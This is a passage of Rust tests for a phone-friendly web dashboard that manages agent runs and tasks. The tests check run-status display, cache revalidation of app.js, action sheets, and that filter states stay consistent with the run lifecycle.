16411        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16412        write_run(&runs, run_a, RunStatus::Blocked);
16413        write_run(&runs, run_b, RunStatus::Implementing);
16414        let mut t3 = Task::new(
16415            "retrying".to_owned(),
16416            "do it".to_owned(),
16417            PathBuf::from("/repo"),
16418            Source::Human,
16419        );
16420        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16421        q.put(&mut t3).expect("put");
16422        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16423        assert_eq!(view3["latest_attempt"]["id"], run_b);
16424        assert_eq!(view3["latest_attempt"]["resolved"], false);
16425        assert_eq!(view3["latest_attempt"]["done"], false);
16426
16427        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
16428        // to check - not a confirmed finish, so this must not read as
16429        // resolved either, even though the run is done in the sense that
16430        // nothing is still running.
16431        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16432        write_run(&runs, noop_a, RunStatus::Blocked);
16433        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16434        let mut t2 = Task::new(
16435            "claims done".to_owned(),
16436            "do it".to_owned(),
16437            PathBuf::from("/repo"),
16438            Source::Human,
16439        );
16440        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16441        q.put(&mut t2).expect("put");
16442        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16443        assert_eq!(
16444            view2["latest_attempt"]["resolved"], false,
16445            "an unverified no-op claim must not read as a confirmed finish"
16446        );
16447
16448        // Front end: an unresolved successor must not carry the "finished
16449        // this work" note or the muted chip treatment.
16450        assert!(APP_JS.contains("latest.resolved"));
16451        // ...but the link to it shows as soon as it exists, labelled by state
16452        // and without the "finished" wording or the muted chip.
16453        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16454        assert!(APP_JS.contains("Latest attempt: "));
16455        assert!(APP_JS.contains("in flight"));
16456        assert!(APP_JS.contains("not resolved"));
16457    }
16458
16459    #[tokio::test]
16460    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16461        let fx = Fixture::start().await;
16462        // No cache header at all meant browsers invented their own policy,
16463        // and one did: a phone went on showing "Candidates must be folded
16464        // before deleting. Run `magi fold` first." - deleted two releases
16465        // earlier - from a deck that no longer contained the sentence. The
16466        // button it named was right there, and unreachable.
16467        let js = fx.get("/app.js").await;
16468        assert_eq!(js.status, 200);
16469        let tag = js
16470            .header("etag")
16471            .expect("an etag to revalidate against")
16472            .to_owned();
16473        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16474        assert_eq!(
16475            js.header("cache-control"),
16476            Some("no-cache, must-revalidate"),
16477            "the phone has to ask every time"
16478        );
16479
16480        // And the asking has to be cheap, or `must-revalidate` just means
16481        // "send the whole interface on every load".
16482        let again = fx
16483            .get_with("/app.js", &[("if-none-match", tag.as_str())])
16484            .await;
16485        assert_eq!(
16486            again.status, 304,
16487            "a deck it already has costs one round trip"
16488        );
16489        assert!(again.body.is_empty(), "304 carries no body");
16490
16491        // A weakened tag from a proxy still matches; a different build does
16492        // not, which is the case that has to deliver the new interface.
16493        let weak = fx
16494            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16495            .await;
16496        assert_eq!(weak.status, 304);
16497        let stale = fx
16498            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16499            .await;
16500        assert_eq!(stale.status, 200, "an older build must be replaced");
16501        assert!(stale.body.contains("renderRunActions"));
16502    }
16503
16504    #[test]
16505    fn the_task_detail_has_an_actions_fab_and_sheet() {
16506        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16507        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16508        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16509        // Shown only on the task route, closed everywhere else.
16510        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16511        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16512        // Refreshed whenever the detail redraws, including the loading state.
16513        assert!(APP_JS.contains("renderTaskActions(task);"));
16514        assert!(APP_JS.contains("renderTaskActions(null);"));
16515        // Same renderers and routes as the Queue card, no new endpoint.
16516        let sheet = APP_JS
16517            .find("function renderTaskActions")
16518            .expect("sheet renderer");
16519        let body = &APP_JS[sheet..sheet + 3000];
16520        assert!(body.contains("changePriority("));
16521        assert!(body.contains("openTaskEdit(task)"));
16522        assert!(body.contains("renderTaskHoldBox(host"));
16523        assert!(body.contains("renderTaskDoneBox(host"));
16524        assert!(body.contains("renderTaskDeleteBox(host"));
16525        assert!(APP_JS.contains("API.priority(id)"));
16526        assert!(APP_JS.contains("API.deleteTask(id)"));
16527        // A deleted task sends the operator back to the queue.
16528        assert!(APP_JS.contains("location.hash = \"#/queue\""));
16529        // A refusal is shown inside the sheet.
16530        assert!(APP_JS.contains("$(\"task-actions-error\")"));
16531    }
16532
16533    #[test]
16534    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16535        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16536        let actions = INDEX_HTML
16537            .find("id=\"run-actions-box\"")
16538            .expect("actions box");
16539        assert!(task < actions, "the task entry comes first in the sheet");
16540        assert!(APP_JS.contains("renderRunTaskEntry"));
16541        assert!(APP_JS.contains("\"Open task \""));
16542        // A run without a task says why there is nothing to open.
16543        assert!(APP_JS.contains("started directly, no task"));
16544        assert!(APP_JS.contains("sheet-task-link"));
16545        assert!(APP_JS.contains("task-chip-link"));
16546    }
16547
16548    #[test]
16549    fn the_deck_never_sends_the_operator_to_a_terminal() {
16550        // The whole point of the phone UI is that a terminal is not needed.
16551        // The delete control used to answer with "Run `magi fold` first."
16552        assert!(
16553            !APP_JS.contains("Run `magi fold` first"),
16554            "the deck must offer the fold, not prescribe a shell command"
16555        );
16556        assert!(APP_JS.contains("foldRun:"));
16557        assert!(APP_JS.contains("resumeRun:"));
16558        assert!(APP_JS.contains("renderRunActions"));
16559
16560        // Folding is destructive and armed in two steps, like deleting.
16561        assert!(APP_JS.contains("armedFold"));
16562        assert!(APP_JS.contains("Yes, fold worktrees"));
16563
16564        // And the copy has to say that the two actions are opposites, because
16565        // folding throws away exactly what a resume would continue from.
16566        assert!(APP_JS.contains("can no longer be resumed"));
16567    }
16568
16569    #[test]
16570    fn a_finished_run_explains_itself_with_its_own_last_line() {
16571        // The deck used to answer "why did this stop?" with a sentence chosen
16572        // by status alone. Run e633 stalled because two judges answered with
16573        // the wrong JSON shape and its card said "The panel collapsed on
16574        // agent quota" - with `quota: []` in the record and a quota-loss
16575        // counter right above it that correctly said nothing.
16576        assert!(
16577            !APP_JS.contains("collapsed on agent quota"),
16578            "a stall must not be explained by a cause the deck did not check"
16579        );
16580        assert!(
16581            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16582            "and a block must not offer a guess with an `or` in it"
16583        );
16584
16585        // The reason it does have is `run.event`, which must reach finished
16586        // runs: gating it on movement hid the recorded truth at the one moment
16587        // the operator is reading the card to find out what happened.
16588        assert!(
16589            APP_JS.contains("setText(r.event, run.event || \"\")"),
16590            "the run's last line is rendered unconditionally"
16591        );
16592        assert!(
16593            !APP_JS.contains("moving && run.event"),
16594            "and never gated on the run still moving"
16595        );
16596
16597        // Quota keeps its own counter, fed by the number actually recorded.
16598        assert!(APP_JS.contains("lost to quota"));
16599    }
16600
16601    /// The runs tree (section) and the state chips (waiting/done) are two
16602    /// independent lenses ANDed together in `renderRuns`, and some pairings
16603    /// can never both be true for any run - every "Landed"/"Ended" run is
16604    /// done by construction, so pairing either with "Active" or "In flight"
16605    /// always rendered zero cards with the filter bar still claiming
16606    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
16607    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
16608    /// a handful of (waiting, status) shapes standing in for the run
16609    /// lifecycle, because `cargo test` cannot execute the front end.
16610    ///
16611    /// That stand-in list is itself the part that drifted twice in review:
16612    /// once shipped with `waiting: true` paired with a done status the
16613    /// lifecycle cannot produce, then over-corrected into treating every
16614    /// waiting run as never done - which made "Waiting on you" look
16615    /// incompatible with "Done" even for the one real, reachable shape
16616    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
16617    /// that combination. This test parses the shapes and the done-rule back
16618    /// out of `APP_JS`, reimplements `runSection` and the five state
16619    /// predicates independently in Rust, and checks the resulting
16620    /// section/filter compatibility table against the lifecycle rules by
16621    /// hand - so either direction of drift fails it again.
16622    #[test]
16623    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16624        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16625        let shapes_body_start =
16626            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16627        let shapes_close = APP_JS[shapes_body_start..]
16628            .find("].map(")
16629            .expect("the shape list is closed by its done-computing .map(...)")
16630            + shapes_body_start;
16631        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16632
16633        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
16634        for entry in shapes_src.split('{').skip(1) {
16635            let waiting = entry.contains("waiting: true");
16636            let dead = entry.contains("live: \"dead\"");
16637            let status_at =
16638                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
16639            let status_end = entry[status_at..]
16640                .find('"')
16641                .expect("the status string is closed")
16642                + status_at;
16643            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
16644        }
16645        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
16646
16647        // The done rule itself (`!["implementing"].includes(shape.status)`),
16648        // read out of the source rather than hardcoded, so a renamed
16649        // in-flight status can't silently make every parsed shape "done".
16650        let done_rule_marker = "done: !";
16651        let done_rule_at = APP_JS[shapes_close..]
16652            .find(done_rule_marker)
16653            .expect("the done rule follows the shape list")
16654            + shapes_close
16655            + done_rule_marker.len();
16656        let includes_at = APP_JS[done_rule_at..]
16657            .find(".includes(shape.status)")
16658            .expect("the done rule ends in .includes(shape.status)")
16659            + done_rule_at;
16660        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
16661            .trim()
16662            .trim_start_matches('[')
16663            .trim_end_matches(']')
16664            .split(',')
16665            .map(|s| s.trim().trim_matches('"'))
16666            .filter(|s| !s.is_empty())
16667            .collect();
16668
16669        let shapes: Vec<(bool, String, bool, bool)> = shapes
16670            .into_iter()
16671            .map(|(waiting, status, dead)| {
16672                let done = !not_done.contains(&status.as_str());
16673                (waiting, status, dead, done)
16674            })
16675            .collect();
16676
16677        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
16678        // outright, then merged/ready land, stalled/blocked/failed/
16679        // verified_noop end, and everything else is still in flight.
16680        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
16681            if waiting {
16682                return "waiting";
16683            }
16684            if dead
16685                && !matches!(
16686                    status,
16687                    "merged"
16688                        | "ready"
16689                        | "stalled"
16690                        | "blocked"
16691                        | "failed"
16692                        | "verified_noop"
16693                        | "superseded"
16694                        | "already_in_base"
16695                )
16696            {
16697                return "stale";
16698            }
16699            match status {
16700                "merged" | "ready" => "landed",
16701                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
16702                | "already_in_base" => "ended",
16703                _ => "flight",
16704            }
16705        }
16706
16707        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
16708        // way.
16709        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
16710            match filter_key {
16711                "active" => !done,
16712                "flight" => !done && !waiting && !dead,
16713                "stale" => !done && !waiting && dead,
16714                "waiting" => waiting,
16715                "done" => done,
16716                "all" => true,
16717                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
16718            }
16719        }
16720
16721        let compatible = |section: &str, filter_key: &str| {
16722            shapes.iter().any(|(waiting, status, dead, done)| {
16723                run_section(*waiting, status, *dead) == section
16724                    && filter_matches(filter_key, *waiting, *dead, *done)
16725            })
16726        };
16727
16728        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
16729        // (active, flight, stale, waiting, done, all) - hand-derived from the
16730        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
16731        // currently contains.
16732        let expected = [
16733            ("waiting", [true, false, false, true, true, true]),
16734            ("stale", [true, false, true, false, false, true]),
16735            ("flight", [true, true, false, false, false, true]),
16736            ("landed", [false, false, false, false, true, true]),
16737            ("ended", [false, false, false, false, true, true]),
16738        ];
16739        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
16740
16741        for (section, wants) in expected {
16742            for (filter_key, want) in filter_keys.iter().zip(wants) {
16743                assert_eq!(
16744                    compatible(section, filter_key),
16745                    want,
16746                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
16747                );
16748            }
16749        }
16750
16751        // The compatibility check exists only to be acted on: both pickers
16752        // must actually consult it rather than just render its answer.
16753        assert!(
16754            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
16755        );
16756        assert!(APP_JS.contains(
16757            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
16758        ));
16759        assert!(APP_JS.contains(
16760            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
16761        ));
16762    }
16763
16764    #[tokio::test]
16765    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
16766        // An operator-named directory - git checkout or not - is never
16767        // second-guessed, even when it does not exist at all: only the
16768        // flag's own unmodified `.` default is ever eligible for discovery.
16769        let dir = tempfile::tempdir().expect("tempdir");
16770        let explicit = dir.path().join("not-a-checkout");
16771        std::fs::create_dir_all(&explicit).expect("create dir");
16772        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
16773
16774        let missing = dir.path().join("does-not-exist-at-all");
16775        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
16776    }
16777
16778    #[test]
16779    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
16780        assert!(APP_JS.contains("function statsDonutArcs"));
16781        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
16782        // A bucket click filters by the statuses src/stats.rs counts in it.
16783        assert!(APP_JS.contains("function statusInBucket"));
16784        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
16785        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
16786        let buckets = [
16787            "merged",
16788            "ready",
16789            "in_progress",
16790            "blocked",
16791            "failed",
16792            "verified_noop",
16793            "superseded",
16794            "stalled",
16795        ];
16796        for key in buckets {
16797            let var = format!("--verdict-{key}:");
16798            // Light, OS-dark and pinned-dark blocks each define it.
16799            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
16800            assert!(
16801                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
16802                "{key}"
16803            );
16804        }
16805    }
16806}